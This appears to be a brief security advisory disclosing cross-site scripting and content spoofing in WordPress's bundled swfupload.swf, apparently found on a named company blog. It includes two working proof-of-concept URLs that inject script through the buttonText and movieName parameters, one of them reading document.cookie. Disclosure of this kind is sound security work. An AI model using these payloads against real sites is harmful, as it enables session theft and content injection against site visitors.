Impact: Cross Site Scripting & Content Spoofing


*Description:

The vulnerability is caused due to insufficient input validation in the parameter
“movieName” and "buttonText" in the script to swfupload.swf “ExternalInterface.call ()”. This can be
exploited to execute arbitrary HTML and script code in a user’s browser session in
context of an affected site.

There are two vulnerabilities in RedTube Official Blog.

*Content Spoofing

It's possible to inject text, images and html (e.g. for link injection).

*Cross-Site Scripting

http://[victim]/Wordpress/wp-includes/js/swfupload/swfupload.swf?buttonText=<a href='javascript:alert(document.cookie)'>Click me</a>
or
http://[victim]/Wordpress/wp-includes/js/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xss");//

Code will execute after click. It's strictly social XSS.

*Proof of Concept Code

you can use a browser that obeys the Content-Type header specified by the server, such as Mozilla Firefox, Google Chrome, Apple Safari or Opera.
